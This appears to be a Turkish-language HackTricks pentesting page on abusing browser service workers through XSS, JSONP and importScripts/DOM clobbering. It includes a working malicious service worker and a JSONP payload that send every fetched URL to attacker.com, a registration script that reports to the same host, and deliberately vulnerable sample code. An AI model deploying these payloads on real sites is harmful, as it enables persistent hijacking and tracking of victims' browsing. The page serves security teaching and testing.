8.6 KiB
Servis İşçilerini Kötüye Kullanma
Sıfırdan Kahraman'a AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
- **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARI'na göz atın!
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Resmi PEASS & HackTricks ürünlerini alın
- Katılın 💬 Discord grubuna veya telegram grubuna veya Twitter 🐦@carlospolopm'u takip edin.
- Hacking püf noktalarınızı göndererek PR'ler aracılığıyla hacktricks repo ve hacktricks-cloud repo paylaşın.
Try Hard Güvenlik Grubu
![](/Mirrors/hacktricks/media/commit/628aeba7fb7c199a8dfab7750c75c8a449d7aff0/pentesting-web/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg)
{% embed url="https://discord.gg/tryhardsecurity" %}
Temel Bilgiler
Servis işçisi, tarayıcınız tarafından arka planda çalıştırılan, herhangi bir web sayfasından bağımsız olarak çalışan, böylece çevrimdışı ve arka plan işleme yeteneklerini artıran özellikleri etkinleştiren bir betiktir. Servis işçileri hakkında detaylı bilgiye buradan ulaşılabilir. Savunmasız bir web alanı içinde servis işçilerini istismar ederek, saldırganlar, o alan içindeki tüm sayfalarla kurbanın etkileşimini kontrol altına alabilirler.
Varolan Servis İşçilerini Kontrol Etme
Varolan servis işçileri, Geliştirici Araçları'ndaki Uygulama sekmesindeki Servis İşçileri bölümünde kontrol edilebilir. Başka bir yöntem ise daha detaylı bir görünüm için chrome://serviceworker-internals adresini ziyaret etmektir.
İtme Bildirimleri
İtme bildirimi izinleri, bir servis işçisinin doğrudan kullanıcı etkileşimi olmadan sunucu ile iletişim kurma yeteneğini etkiler. İzinler reddedildiğinde, servis işçisinin sürekli bir tehdit oluşturma potansiyelini sınırlar. Tersine, izinler verildiğinde, güvenlik risklerini artırarak potansiyel saldırıların alınmasını ve yürütülmesini sağlar.
Servis İşçisi Oluşturarak Saldırı
Bu zafiyeti sömürmek için şunları bulmanız gerekmektedir:
- Sunucuya keyfi JS dosyaları yüklemek için bir yol ve yüklenen JS dosyasının servis işçisini yüklemek için bir XSS bulun
- Manipüle edebileceğiniz (keyfi JS kodu ile) savunmasız bir JSONP isteği ve bir XSS ile JSONP'yi yükleyecek bir yük içeren bir saldırıyı gerçekleştirebileceğiniz bir vulnerability ve zararlı bir servis işçisi yükleyin.
Aşağıdaki örnekte, fetch
olayını dinleyecek ve her alınan URL'yi saldırganın sunucusuna gönderecek yeni bir servis işçisi kaydetmek için bir kod sunacağım:
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
Ve aşağıdaki kod, işçiyi kaydedecek olan kod (uygulayarak XSS'yi kötüye kullanabilmeniz gereken kod). Bu durumda, bir GET isteği, hizmet işçisinin kaydının başarılı olup olmadığını bildiren saldırganın sunucusuna gönderilecektir:
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
Vulnerable JSONP ucuza kullanıldığında değeri var sw
içine koymalısınız. Örneğin:
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
Hizmet İşçilerini istismar etmek için Shadow Workers adında bir C2 bulunmaktadır ki bu zayıflıkları istismar etmek için oldukça faydalı olacaktır.
24 saatlik önbellek yönergesi, bir XSS zayıflığı düzeltmesinden sonra en fazla 24 saat boyunca kötü amaçlı veya tehlikeli bir hizmet işçisinin (SW) yaşamını sınırlar, çevrimiçi istemci durumu varsayılarak. Zayıflığı en aza indirmek için site işletmecileri, SW betiğinin Zaman-Canlılığı (TTL)'nı düşürebilir. Geliştiricilere ayrıca hızlı devre dışı bırakma için bir hizmet işçisi kill-switch oluşturmaları önerilir.
DOM Clobbering aracılığıyla SW'de importScripts
'in Kötüye Kullanılması
Bir Hizmet İşçisinden çağrılan importScripts
işlevi, farklı bir etki alanından bir betiği içe aktarabilir. Bu işlev, bir saldırganın değiştirebileceği bir parametre kullanılarak çağrıldığında, saldırganın kendi etki alanından bir JS betiğini içe aktarmasına ve XSS almasına olanak tanır.
Bu, CSP korumalarını bile atlar.
Örnek zayıf kod:
- index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
- sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
DOM Clobbering ile
DOM Clobbering'in ne olduğu hakkında daha fazla bilgi için şu bağlantıya bakın:
{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}
Eğer SW'nin importScripts
çağrısını yapmak için kullandığı URL/domain, bir HTML öğesinin içindeyse, bu durumda SW'nin kendi alan adınızdan bir betiği yüklemesi için DOM Clobbering ile değiştirilebilir.
Bu konunun örneği için referans bağlantısına bakın.
Referanslar
Try Hard Security Group
![](/Mirrors/hacktricks/media/commit/628aeba7fb7c199a8dfab7750c75c8a449d7aff0/pentesting-web/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg)
{% embed url="https://discord.gg/tryhardsecurity" %}
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)!
- **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuzu
- Resmi PEASS & HackTricks ürünlerini alın
- Katılın 💬 Discord grubuna veya telegram grubuna veya beni Twitter 🐦@carlospolopm'da takip edin.
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek hacktricks repo ve hacktricks-cloud repo ile katkıda bulunun.